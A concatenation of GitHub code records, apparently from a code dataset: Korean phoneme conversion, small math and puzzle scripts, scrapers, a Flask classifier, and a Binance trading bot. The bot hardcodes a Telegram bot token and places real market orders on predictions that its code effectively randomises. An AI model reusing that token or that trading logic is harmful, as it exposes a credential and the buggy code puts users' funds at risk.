parse_table()\n\n # self.cmu = cmudict.dict() # for English\n\n self.rule2text = get_rule_id2text() # for comments of main rules\n self.idioms_path = os.path.join(os.path.dirname(os.path.abspath(__file__)), \"idioms.txt\")\n\n def load_module_func(self, module_name):\n tmp = __import__(module_name, fromlist=[module_name])\n return tmp\n\n def check_mecab(self):\n if self.use_konlpy:\n spam_spec = importlib.util.find_spec(\"konlpy\")\n non_found = spam_spec is None\n if non_found:\n print(f'you have to install konlpy. install it...')\n p = subprocess.Popen([sys.executable, \"-m\", \"pip\", \"install\", 'konlpy'])\n p.wait()\n else:\n print(\"konlpy installed\")\n else:\n if platform.system()=='Windows':\n spam_spec = importlib.util.find_spec(\"eunjeon\")\n non_found = spam_spec is None\n if non_found:\n print(f'you have to install eunjeon. install it...')\n p = subprocess.Popen('pip install eunjeon')\n p.wait()\n else:\n spam_spec = importlib.util.find_spec(\"mecab\")\n non_found = spam_spec is None\n if non_found:\n print(f'you have to install python-mecab-ko. install it...')\n p = subprocess.Popen([sys.executable, \"-m\", \"pip\", \"install\", 'python-mecab-ko'])\n p.wait()\n # else:\n # print(\"mecab installed\")\n\n\n def get_mecab(self):\n if self.use_konlpy:\n try:\n from konlpy.tag import Mecab\n except Exception as e:\n raise print(f'failed to load konlpy')\n try:\n if self.mecab_path:\n return Mecab(self.mecab_path)\n else:\n return Mecab()\n except Exception as e:\n raise print(f\"failed to open konlpy.tag.Mecab\")\n else:\n if platform.system() == 'Windows':\n try:\n m = self.load_module_func('eunjeon')\n return m.Mecab()\n except Exception as e:\n raise print(f'you have to install eunjeon. \"pip install eunjeon\"')\n else:\n try:\n m = self.load_module_func('mecab')\n return m.MeCab()\n except Exception as e:\n print(\"Failed to load python-mecab-ko:\", e)\n\n\n def idioms(self, string, descriptive=False, verbose=False):\n '''Process each line in `idioms.txt`\n Each line is delimited by \"===\",\n and the left string is replaced by the right one.\n inp: input string.\n descriptive: not used.\n verbose: boolean.\n\n >>> idioms(\"지금 mp3 파일을 다운받고 있어요\")\n 지금 엠피쓰리 파일을 다운받고 있어요\n '''\n rule = \"from idioms.txt\"\n out = string\n\n with open(self.idioms_path, 'r', encoding=\"utf8\") as f:\n for line in f:\n line = line.split(\"#\")[0].strip()\n if \"===\" in line:\n str1, str2 = line.split(\"===\")\n out = re.sub(str1, str2, out)\n gloss(verbose, out, string, rule)\n\n return out\n\n def __call__(self, string, descriptive=False, verbose=False, group_vowels=False, to_syl=True):\n '''Main function\n string: input string\n descriptive: boolean.\n verbose: boolean\n group_vowels: boolean. If True, the vowels of the identical sound are normalized.\n to_syl: boolean. If True, hangul letters or jamo are assembled to form syllables.\n\n For example, given an input string \"나의 친구가 mp3 file 3개를 다운받고 있다\",\n STEP 1. idioms\n -> 나의 친구가 엠피쓰리 file 3개를 다운받고 있다\n\n STEP 2. English to Hangul\n -> 나의 친구가 엠피쓰리 파일 3개를 다운받고 있다\n\n STEP 3. annotate\n -> 나의/J 친구가 엠피쓰리 파일 3개/B를 다운받고 있다\n\n STEP 4. Spell out arabic numbers\n -> 나의/J 친구가 엠피쓰리 파일 세개/B를 다운받고 있다\n\n STEP 5. decompose\n -> 나의/J 친구가 엠피쓰리 파일 세개/B를 다운받고 있다\n\n STEP 6-9. Hangul\n -> 나의 친구가 엠피쓰리 파일 세개를 다운받꼬 읻따\n '''\n # 1. idioms\n string = self.idioms(string, descriptive, verbose)\n\n # 2 Convert English to Hangul\n # string = convert_eng(string)\n\n # 3. annotate\n string = annotate(string, self.mecab)\n\n\n # 4. Spell out arabic numbers\n string = convert_num(string)\n\n # 5. decompose\n inp = h2j(string)\n\n # 6. special\n for func in (jyeo, ye, consonant_ui, josa_ui, vowel_ui, \\\n jamo, rieulgiyeok, rieulbieub, verb_nieun, \\\n balb, palatalize, modifying_rieul):\n inp = func(inp, descriptive, verbose)\n inp = re.sub(\"/[PJEB]\", \"\", inp)\n\n # 7. regular table: batchim + onset\n for str1, str2, rule_ids in self.table:\n _inp = inp\n inp = re.sub(str1, str2, inp)\n\n if len(rule_ids)>0:\n rule = \"\\n\".join(self.rule2text.get(rule_id, \"\") for rule_id in rule_ids)\n else:\n rule = \"\"\n gloss(verbose, inp, _inp, rule)\n\n # 8 link\n for func in (link1, link2, link3, link4):\n inp = func(inp, descriptive, verbose)\n\n # 8.5 Error Fix, 제 20항 적용 오류 해결\n inp_ = \"\"\n inp = split_syllables(inp.strip())\n i = 0\n while i < len(inp) - 4:\n if (inp[i:i+3] == 'ㅇㅡㄹ' or inp[i:i+3] == 'ㄹㅡㄹ') and inp[i+3] == ' ' and inp[i+4] == 'ㄹ':\n inp_ += inp[i:i+3] + ' ' + 'ㄴ'\n i += 5\n else:\n inp_ += inp[i]\n i += 1\n inp_ += inp[i:]\n inp = join_jamos(inp_)\n\n # 9. postprocessing\n if group_vowels:\n inp = group(inp)\n\n if to_syl:\n inp = compose(inp)\n return inp\n\nif __name__ == \"__main__\":\n g2p = G2p(use_konlpy=True, mecab_ko_dic_path=r\"/Volumes/NewVolumes/source/vits/mecab-ko-dic\")\n a = g2p(\"나의 친구가 mp3 file 3개를 다운받고 있다\")\n\n print(a)","repo_name":"kdrkdrkdr/ko2kana","sub_path":"ko2kana/g2pk3.py","file_name":"g2pk3.py","file_ext":"py","file_size_in_byte":7398,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"19017596308","text":"\"\"\"\r\nLet d(n) be defined as the sum of proper divisors of n (numbers less than n which divide evenly into n).\r\nIf d(a) = b and d(b) = a, where a ≠ b, then a and b are an amicable pair and each of a and b are called amicable numbers.\r\n\r\nFor example, the proper divisors of 220 are 1, 2, 4, 5, 10, 11, 20, 22, 44, 55 and 110; therefore d(220) = 284. \r\nThe proper divisors of 284 are 1, 2, 4, 71 and 142; so d(284) = 220.\r\n\r\nEvaluate the sum of all the amicable numbers under 10000.\r\n\"\"\"\r\n\r\n\r\n# In[1]:\r\n\r\n\r\ndef suma_divisores(N):\r\n suma = 0\r\n for i in range(1, int(N/2)+1):\r\n if N%i==0:\r\n suma += i\r\n return suma\r\n\r\n\r\n# In[2]:\r\n\r\n\r\namigables = set()\r\nfor i in range(1, 10000+1):\r\n a = suma_divisores(i)\r\n b = suma_divisores(a)\r\n c = suma_divisores(b)\r\n if a == c and a != b:\r\n amigables.add(a)\r\n amigables.add(b)\r\nsum(amigables) # 31626\r\n","repo_name":"ecastillob/project-euler","sub_path":"001 - 050/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"7105980558","text":"# ConeVolumeCalculator.py\n\nimport math\n## volume = 1/3πr2h\n## where r is the radius of the base, h is the height \n\n# Define Function below\n# be sure to return an integer\ndef calculateConeVolume(r, h):\n volume = 1/3*math.pi*r**2*h\n volume = round(volume, 2)\n return volume\n\nif __name__ == '__main__':\n # Call the function in here if you want to test it\n # Make sure it's indented\n answer = calculateConeVolume(20.0, 10.0)\n print(answer)\n","repo_name":"swest06/Cone-Volume-Calculator","sub_path":"ConeVolumeCalculator.py","file_name":"ConeVolumeCalculator.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"4343511871","text":"from flask import Flask, request, jsonify, render_template\nimport numpy as np\nimport tensorflow as tf\nimport cv2\nfrom PIL import Image\nimport io\n\napp = Flask(__name__)\n\n# Load the model\nmodel = tf.keras.models.load_model('models/image_classification.h5')\n\n@app.route('/', methods=['GET', 'POST'])\ndef upload_predict():\n if request.method == 'POST':\n if 'file' not in request.files:\n return 'No file part'\n file = request.files['file']\n if file.filename == '':\n return 'No selected file'\n if file:\n img = Image.open(io.BytesIO(file.read()))\n img = img.resize((256, 256))\n img_array = np.array(img) / 255.0\n prediction = model.predict(img_array[np.newaxis, ...])\n result = 'Happy image' if prediction < 0.5 else 'Sad image'\n return result\n return render_template('upload.html')\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"Caephas/CNN-Image-classifier","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18869552306","text":"import os as o\nimport rpa as r \nimport pyautogui as p \nfrom time import sleep\nimport xlrd \nimport openpyxl\nimport pandas as pd\n# pip install numpy==1.19.3 for work pandas\n\n'''\nAparentemente o RPA é mais lento em webscrapping do que o selenium.\n'''\nr.init()\nr.url('https://rpachallengeocr.azurewebsites.net/')\nwindow = p.getActiveWindow()\nwindow.maximize()\nsleep(6)\n\n# Apagando arquivo anterior.\ntry:\n o.remove('WebTable.csv')\nexcept:\n pass\n\ncountPage = 1\nwhile countPage <= 3:\n if countPage == 1:\n # Put datas in a temporary arquive.\n r.table('//*[@id=\"tableSandbox\"]', 'temp.csv')\n sleep(1)\n # Save datas in a variable.\n datas = pd.read_csv('temp.csv')\n # Write datas in a permanent arquive.\n datas.to_csv(r'WebTable.csv', mode='a', index=None, header=True)\n sleep(1)\n r.click('//*[@id=\"tableSandbox_next\"]')\n countPage += 1\n else:\n # Put datas in a temporary arquive.\n r.table('//*[@id=\"tableSandbox\"]', 'temp.csv')\n sleep(1)\n # Save datas in a variable.\n datas = pd.read_csv('temp.csv')\n # Write datas in a permanent arquive.\n datas.to_csv(r'WebTable.csv', mode='a', index=None, header=False)\n sleep(1)\n r.click('//*[@id=\"tableSandbox_next\"]')\n countPage += 1\nr.close()\no.remove('temp.csv')\ncsv_xls = pd.read_csv(r'WebTable.csv')\ncsv_xls.to_excel(r'WebTable02.xlsx')","repo_name":"wictor-parmenis/RPA_python","sub_path":"robots/robot6.py","file_name":"robot6.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"26244378144","text":"from .geometry import (Point, Vector)\nfrom .utils import Immutable\n\n__all__ = ['Mesh', 'Mesh1DBuilder', ]\n\n\nNODE_TOLERANCE = 1e-4\n\n\nclass Mesh(metaclass=Immutable):\n def __init__(self, nodes, virtual_nodes=(), additional_nodes=()):\n self.real_nodes = tuple(nodes)\n self.virtual_nodes = tuple(virtual_nodes)\n self.additional_nodes = tuple(additional_nodes)\n\n\nclass Mesh1DBuilder:\n def __init__(self, length, start=0.):\n self._length = length\n self._start = start\n\n self._nodes = []\n self._virtual_nodes = []\n self._additional_nodes = []\n\n def add_uniformly_distributed_nodes(self, number):\n if number < 2:\n raise AttributeError(\"Number of point must be at least 2\")\n section_length = self._length / (number - 1)\n\n for node_num in range(number):\n self.add_node_by_coordinate(self._start + node_num*section_length)\n\n return self\n\n def add_node_by_coordinate(self, coord):\n node = Point(coord)\n self._nodes.append(node)\n return node\n\n def add_virtual_nodes(self, *coords):\n for c in coords:\n self._virtual_nodes.append(Point(c))\n return self\n\n def add_middle_nodes(self):\n for i in range(len(self._nodes) - 1):\n p1, p2 = self._nodes[i: i + 2]\n v = Vector(p1, p2)\n p = p1 + v*0.5\n self._additional_nodes.append(p)\n\n return self\n\n def create(self):\n return Mesh(\n self._nodes,\n self._virtual_nodes,\n self._additional_nodes\n )\n","repo_name":"szajek/FDM","sub_path":"fdm/mesh.py","file_name":"mesh.py","file_ext":"py","file_size_in_byte":1598,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"20928688047","text":"# https://adventofcode.com/2021/day/12\nfrom collections import defaultdict\nfrom copy import deepcopy\n\nwith open('day12.in', 'r') as fin:\n graph = defaultdict(list)\n for line in fin.readlines():\n pair = line.strip().split('-')\n graph[pair[0]].append(pair[1])\n graph[pair[1]].append(pair[0])\n\npaths = []\n\n\ndef dfs(node, path):\n path.append(node)\n if node == 'end':\n paths.append(path)\n return\n for adj in graph[node]:\n if adj != 'start':\n lower = [x for x in path if x.islower()]\n if len(set(lower)) == len(lower):\n dfs(adj, deepcopy(path))\n elif not (adj.islower() and adj in path):\n dfs(adj, deepcopy(path))\n\n\ndfs('start', [])\nfor p in paths:\n print(p)\nprint(len(paths))\n","repo_name":"Osgboy/AoC","sub_path":"advent-2021/day12/day12part2.py","file_name":"day12part2.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21837515234","text":"from bs4 import BeautifulSoup\nimport requests\nfrom requests.exceptions import RequestException\nimport re\nimport json\n\ndef get_one_page(url):\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36\"\n }\n try:\n responce = requests.get(url, headers=headers)\n if responce.status_code == 200:\n return responce.text\n return None\n except RequestException:\n return None\n\ndef parse_one_page(html):\n pattern = re.compile('
.*?board-index.*?>(\\d+).*?title=\"(.*?)\"',re.S)\n result = re.findall( pattern, html)\n for item in result:\n yield {\n \"index\": item[0],\n \"titel\": item[1]\n }\ndef write_to_file(content):\n with open(\"result.text\",\"a\",encoding=\"utf-8\") as f:\n f.write(json.dumps(content,ensure_ascii=False)+\"\\n\")\n f.close()\n\ndef main(offset):\n url = \"https://maoyan.com/board/4?offset=\"+str(offset)\n html = get_one_page(url)\n for result in parse_one_page(html):\n write_to_file(result)\n print(result)\n\nif __name__ == \"__main__\":\n for i in range(10):\n main(10*i)\n\n\n\n","repo_name":"ZhuFengting/tutorial","sub_path":"爬虫练习/爬取猫眼电影前100/bs4 -0427.py","file_name":"bs4 -0427.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19371872061","text":"import time\r\nfrom binance.spot import Spot\r\nfrom pandas import DataFrame\r\nimport pytorch_lightning as pl\r\nimport torch.nn as nn\r\nfrom torch.autograd import Variable\r\nimport os\r\nimport torch\r\nfrom aio_pika import connect\r\nfrom torch.utils.data import Dataset, DataLoader\r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom aio_pika.abc import AbstractIncomingMessage\r\nimport pandas as pd\r\nimport asyncio\r\nimport schedule\r\nfrom binance.client import Client\r\nimport requests\r\nimport numpy as np\r\nimport decimal \r\nimport json\r\nimport logging\r\n\r\ntime.sleep(6)# для того чтобы сначала запустился rabbit\r\n\r\nlogging.basicConfig(level=logging.INFO)\r\n\r\napi_key=''\r\napi_secret =''\r\nSYMBOL =''\r\ntoken ='5822952565:AAH9tX6qJUJYAtN8RjlntQ1gIyrPxD0vTFo'\r\nid = 0\r\nbuy = False\r\nsell = True\r\nprice_buy = 0\r\nsell_state = 0\r\ntorg = 0\r\nnumber_of_trades = np.zeros((32))\r\npredictions = np.array([0])\r\n\r\n\r\nasync def main() -> None:\r\n try:\r\n connection = await connect(os.environ['AMQP_URL'], timeout=60*60*24)\r\n except Exception:\r\n logging.exception(\"connection not open\")\r\n\r\n channel = await connection.channel()\r\n\r\n exchange = channel.default_exchange\r\n\r\n queue = await channel.declare_queue(\"rpc_queue\", durable=True)\r\n\r\n logging.info(\" [x] Awaiting RPC requests\")\r\n\r\n async with queue.iterator() as qiterator:\r\n message: AbstractIncomingMessage\r\n async for message in qiterator:\r\n try:\r\n async with message.process(requeue=True):\r\n inputJson = message.body.decode(\"UTF-8\")\r\n api_key = json.loads(inputJson).pop(\"api_key\")\r\n api_secret = json.loads(inputJson).pop(\"api_secret\")\r\n SYMBOL = json.loads(inputJson).pop(\"symbol\")\r\n id = json.loads(inputJson).pop(\"user_id\")\r\n num_trades = json.loads(inputJson).pop(\"num_trades\")\r\n stop = json.loads(inputJson).pop(\"stop\")\r\n if stop == False: \r\n await trading(symbol=SYMBOL, api_key=api_key, api_secret=api_secret, id =id,num_trades = num_trades)\r\n except Exception:\r\n logging.exception(\"Processing error for message %r\", message)\r\n try:\r\n await asyncio.Future()\r\n finally:\r\n await connection.close()\r\n\r\n\r\ndef dataset():\r\n def CCI(data, ndays): \r\n TP = (data['High'] + data['Low'] + data['Close']) / 3 \r\n CCI = pd.Series((TP - TP.rolling(ndays).mean()) / (0.015 * TP.rolling(ndays).std()), name = 'CCI') \r\n data = data.join(CCI) \r\n return data\r\n\r\n def EVM(data, ndays): \r\n dm = ((data['High'] + data['Low'])/2) - ((data['High'].shift(1) + data['Low'].shift(1))/2)\r\n br = (data['Volume'] / 100000000) / ((data['High'] - data['Low']))\r\n EVM = dm / br \r\n EVM_MA = pd.Series(EVM.rolling(ndays).mean(), name = 'EVM') \r\n data = data.join(EVM_MA) \r\n return data \r\n\r\n def SMA(data, ndays): \r\n SMA = pd.Series(data['Close'].rolling(ndays).mean(), name = 'SMA') \r\n data = data.join(SMA) \r\n return data\r\n\r\n def EWMA(data, ndays): \r\n EMA = pd.Series(data['Close'].ewm(span = ndays, min_periods = ndays - 1).mean(), \r\n name = 'EWMA_' + str(ndays)) \r\n data = data.join(EMA) \r\n return data\r\n\r\n def BBANDS(data, window):\r\n MA = data.Close.rolling(window).mean()\r\n SD = data.Close.rolling(window).std()\r\n data['UpperBB'] = MA + (2 * SD) \r\n data['LowerBB'] = MA - (2 * SD)\r\n return data\r\n\r\n def ForceIndex(data, ndays): \r\n FI = pd.Series(data['Close'].diff(ndays) * data['Volume'], name = 'ForceIndex') \r\n data = data.join(FI) \r\n return data \r\n\r\n def ROC(data,n):\r\n N = data['Close'].diff(n)\r\n D = data['Close'].shift(n)\r\n ROC = pd.Series(N/D,name='Rate of Change')\r\n data = data.join(ROC)\r\n return data \r\n\r\n cl = Spot()\r\n r = cl.klines('BTCUSDT', '1m', limit = 500)\r\n df = DataFrame(r).iloc[:, :9]\r\n df = df.drop([6, 7], axis = 1)\r\n df.columns = ('timestamp', 'Open', 'High', 'Low', 'Close', 'Volume', 'Count')\r\n data = pd.DataFrame(df)\r\n data['Open'] = data['Open'].astype(object).astype(float)\r\n data['High'] = data['High'].astype(object).astype(float)\r\n data['Low'] = data['Low'].astype(object).astype(float)\r\n data['Close'] = data['Close'].astype(object).astype(float)\r\n data['Volume'] = data['Volume'].astype(object).astype(float)\r\n data['Count'] = data['Count'].astype(object).astype(float)\r\n\r\n BATCH_SIZE = 1\r\n seq_length = 250\r\n df = data\r\n df['Target']= 0\r\n\r\n for i in range (len(df['Open'])):\r\n open_price= df['Open'][i]\r\n max = df['High'][i:i+15:].max()\r\n if max >= open_price + 25:\r\n df['Target'][i] = 1\r\n else: \r\n df['Target'][i] = 0\r\n n = 20\r\n NIFTY_ROC = ROC(df,n)\r\n ROC = NIFTY_ROC['Rate of Change']\r\n df = NIFTY_ROC\r\n\r\n n = 50\r\n NIFTY_BBANDS = BBANDS(df, n)\r\n df = NIFTY_BBANDS\r\n\r\n n = 20\r\n AAPL_ForceIndex = ForceIndex(df,n)\r\n ForceIndex = AAPL_ForceIndex['ForceIndex']\r\n df = AAPL_ForceIndex\r\n\r\n # Compute the 14-day Ease of Movement for AAPL\r\n n = 14\r\n AAPL_EVM = EVM(df, n)\r\n AAPL_EVM = AAPL_EVM.dropna()\r\n EVM = AAPL_EVM['EVM']\r\n df = AAPL_EVM\r\n\r\n n = 60*3\r\n NIFTY_CCI = CCI(df, n)\r\n NIFTY_CCI = NIFTY_CCI.dropna()\r\n CCI = NIFTY_CCI['CCI']\r\n df = NIFTY_CCI\r\n\r\n n = 9\r\n SMA_NIFTY = SMA(df,n)\r\n SMA_NIFTY = SMA_NIFTY.dropna()\r\n SMA = SMA_NIFTY['SMA']\r\n df = SMA_NIFTY\r\n\r\n ew = 15\r\n EWMA_NIFTY = EWMA(df,ew)\r\n EWMA_NIFTY = EWMA_NIFTY.dropna()\r\n EWMA = EWMA_NIFTY['EWMA_' + str(ew)]\r\n df = EWMA_NIFTY\r\n\r\n df_train = df\r\n df_train = df_train.set_index(\"timestamp\")\r\n\r\n target = 'Target'\r\n drops = ['timestamp']\r\n features = [f for f in df_train.columns if f not in drops + [target]]\r\n\r\n X_train = df_train[features]\r\n y_train = df_train[target]\r\n d = preprocessing.normalize(X_train, axis=0)\r\n X_train = pd.DataFrame(d, columns=X_train.columns)\r\n\r\n label_encoder = LabelEncoder()\r\n encoded_labels = label_encoder.fit_transform(y_train)\r\n y_train[\"label\"] = encoded_labels\r\n\r\n sequences =[]\r\n for idx in range(len(X_train) - seq_length):\r\n x = X_train[idx:idx + seq_length]\r\n y = y_train[idx:idx + seq_length].iloc[0]\r\n sequences.append((x, y))\r\n return sequences, features, label_encoder\r\n\r\nclass SurfaceDataset(Dataset):\r\n def __init__(self, sequences):\r\n super().__init__()\r\n self.sequences = sequences\r\n \r\n def __len__(self):\r\n return len(self.sequences)\r\n \r\n def __getitem__(self, idx):\r\n sequence, label = self.sequences[idx]\r\n return dict(\r\n sequence = torch.Tensor(sequence.values),\r\n label = torch.tensor(label).long()\r\n )\r\n\r\nclass SurfaceDataModule(pl.LightningDataModule):\r\n def __init__(self, test_sequences, batch_size):\r\n super().__init__()\r\n self.test_sequences = test_sequences\r\n self.batch_size = batch_size\r\n \r\n def setup(self, stage=None):\r\n self.test_dataset = SurfaceDataset(self.test_sequences)\r\n \r\n def test_dataloader(self):\r\n return DataLoader(\r\n self.test_dataset,\r\n batch_size = self.batch_size,\r\n shuffle = False,\r\n drop_last = True\r\n )\r\n\r\nclass SequenceModel(pl.LightningModule):\r\n def __init__(self, n_features, n_classes, n_hidden=400, n_layers=2):\r\n super().__init__()\r\n self.lstm = nn.LSTM(\r\n input_size = n_features,\r\n hidden_size = n_hidden,\r\n batch_first = True,\r\n num_layers = n_layers, \r\n dropout = 0.3\r\n )\r\n self.liner1 = nn.Linear(n_hidden, n_classes)\r\n \r\n def forward(self, x):\r\n _, (hidden, _) = self.lstm(x)\r\n out = hidden[-1] \r\n return out\r\n\r\nasync def trading(symbol, api_key, api_secret, id, num_trades):\r\n use_cuda = torch.cuda.is_available()\r\n device = torch.device(\"cuda:0\" if use_cuda else \"cpu\")\r\n\r\n torch.manual_seed(0)\r\n torch.cuda.manual_seed(0)\r\n np.random.seed(0)\r\n id=str(id)\r\n BATCH_SIZE = 1\r\n SYMBOL = symbol\r\n INTERVAL = '1m'\r\n LIMIT = '200'\r\n QNTY = decimal.Decimal('0.00340')\r\n client = Client(api_key, api_secret)\r\n test_sequences, features, label_encoder = dataset()\r\n\r\n\r\n def send(text):\r\n url = 'https://api.telegram.org/bot'+token+'/sendMessage?chat_id='+id+'&text='+text+''\r\n resp = requests.get(url)\r\n r = resp.json()\r\n return r\r\n\r\n def get_data():\r\n url = 'https://api.binance.com/api/v3/klines?symbol={}&interval={}&limit={}'.format(SYMBOL, INTERVAL, LIMIT)\r\n res = requests.get(url)\r\n return_data = []\r\n for each in res.json():\r\n return_data.append(float(each[4]))\r\n return np.array(return_data)\r\n\r\n def place_order(order_type):\r\n if(order_type == 'buy'):\r\n client.create_order(symbol=SYMBOL, side='buy', type='MARKET', quantity= QNTY)\r\n else:\r\n client.create_order(symbol=SYMBOL, side='sell', type='MARKET', quantity= QNTY)\r\n\r\n class SurfacePredictor(pl.LightningModule):\r\n def __init__(self, n_features, n_classes):\r\n super().__init__()\r\n self.model = SequenceModel(n_features, n_classes)\r\n self.criterion = nn.CrossEntropyLoss()\r\n \r\n def forward(self, x, labels=None):\r\n output = self.model(x)\r\n if labels is not None:\r\n output = Variable(torch.randn(BATCH_SIZE, len(label_encoder.classes_)).float(), requires_grad=True).to(device)\r\n return output\r\n\r\n def test_step(self, batch, batch_idx):\r\n global predictions\r\n sequences = batch[\"sequence\"]\r\n labels = batch[\"label\"]\r\n outputs = self.forward(sequences, labels)\r\n predictions = torch.argmax(outputs, dim=1).cpu().numpy()\r\n print(predictions)\r\n\r\n def condition_buy(price_current, price_buy, position):\r\n global number_of_trades, sell_state, buy, sell\r\n if price_buy + 1 + position > price_current >= price_buy + position:\r\n sell_state = position\r\n return 1\r\n elif (sell_state == position) and (price_current < price_buy + position):\r\n place_order('sell')\r\n send(f'Продаём. +{position}: {(100*price_current)/price_buy}\\n Цена продажи: {price_current}')\r\n number_of_trades[position] += 1\r\n buy = False\r\n sell = True \r\n sell_state = 0\r\n return 1 \r\n else: return 0\r\n\r\n\r\n def trade(count_of_trades):\r\n global buy, sell, number_of_trades, sell_state, predictions, balance_current, balance\r\n model = SurfacePredictor(\r\n n_features=14,\r\n n_classes=2\r\n )\r\n model.load_state_dict(torch.load('model_weights_epochs_500.pth'))\r\n model.eval() \r\n send(f' Что торгуем: {SYMBOL}\\n С каким интервалом: {INTERVAL}\\n Сколько : {QNTY}')\r\n\r\n info = client.get_account()\r\n df = pd.DataFrame(info[\"balances\"])\r\n df[\"free\"] = df[\"free\"].astype(float).round(7)\r\n df = df[df[\"asset\"] == 'USDT']\r\n balance = df[\"free\"].to_numpy()\r\n send(f' Стартовый баланс: {balance[0]} USDT')\r\n current_count = 0\r\n\r\n while current_count < int(count_of_trades):\r\n print(sell, buy)\r\n if sell == True: \r\n test_sequences, features, label_encoder = dataset()\r\n data_module = SurfaceDataModule(test_sequences, BATCH_SIZE) \r\n print('~~~~~ start testing:')\r\n pl.Trainer(accelerator='cpu',devices=1).test(model, data_module)\r\n print('~~~~~ finish')\r\n print(' predictions = ', predictions)\r\n if (predictions[0] == 1) and (buy == False):\r\n place_order('buy')\r\n price_buy = get_data()[-1]\r\n send(f' Покупаем\\n Цена покупки: {price_buy}')\r\n buy = True\r\n sell = False\r\n oredr_sell = price_buy\r\n buy_time = time.time()\r\n if sell == False:\r\n time.sleep(1)\r\n else:\r\n time.sleep(28)\r\n\r\n if buy == True:\r\n print('Время продавать')\r\n while buy == True:\r\n price_current = get_data()[-1]\r\n if price_current >= price_buy + 31:\r\n place_order('sell')\r\n send(f'Продаём. + 9: {(100*price_current)/price_buy}\\n Цена продажи: {price_current}')\r\n number_of_trades[31] += 1\r\n buy = False\r\n sell = True\r\n elif (price_current < price_buy - 15) and (price_current < oredr_sell):\r\n place_order('sell')\r\n send(f'Продаём GG: {(100*price_current)/price_buy}\\n Цена продажи: {price_current}')\r\n number_of_trades[0] += 1\r\n buy = False\r\n sell = True\r\n else:\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=30)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=29)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=28)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=27)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=26)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=25)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=24)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=23)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=22)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=21)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=20)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=19)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=18)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=17)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=16)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=15)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=14)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=13)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=12)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=11)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=10)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=9)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=8)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=7)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=6)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=5)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=4)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=3)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=2)\r\n condition_buy(price_current=price_current, price_buy=price_buy, position=1)\r\n \r\n time.sleep(1)\r\n\r\n info = client.get_account()\r\n df = pd.DataFrame(info[\"balances\"])\r\n df[\"free\"] = df[\"free\"].astype(float).round(7)\r\n df = df[df[\"asset\"] == 'USDT']\r\n balance_current = df[\"free\"].to_numpy()\r\n current_count +=1\r\n send(f' Баланс: {balance_current[0]} USDT\\n {(balance_current[0]/balance[0]-1)*100} %\\n Что по сделкам: {number_of_trades}')\r\n\r\n schedule.every(1).seconds.do(trade)\r\n trade(count_of_trades=num_trades)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n asyncio.get_event_loop().run_until_complete(main()) \r\n","repo_name":"Kiyoakiii/tg_bot_crypto","sub_path":"server/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":17346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28515270838","text":"# Sprite classes\r\nimport pygame as pg\r\nimport random\r\nfrom os import path\r\nfrom itertools import chain\r\nfrom tilebased_shooter.settings import *\r\nfrom tilebased_shooter.map import *\r\nimport pytweening as ptw\r\nvector = pg.math.Vector2\r\n\r\n\r\ndef collide_with_walls(sprite, group, direction):\r\n if direction == 'x':\r\n collisions = pg.sprite.spritecollide(sprite, group, False, collide_hit_rect)\r\n if collisions:\r\n if collisions[0].rect.centerx > sprite.hit_rect.centerx:\r\n sprite.pos.x = collisions[0].rect.left - sprite.hit_rect.width / 2\r\n if collisions[0].rect.centerx < sprite.hit_rect.centerx:\r\n sprite.pos.x = collisions[0].rect.right + sprite.hit_rect.width / 2\r\n sprite.vel.x = 0\r\n sprite.hit_rect.centerx = 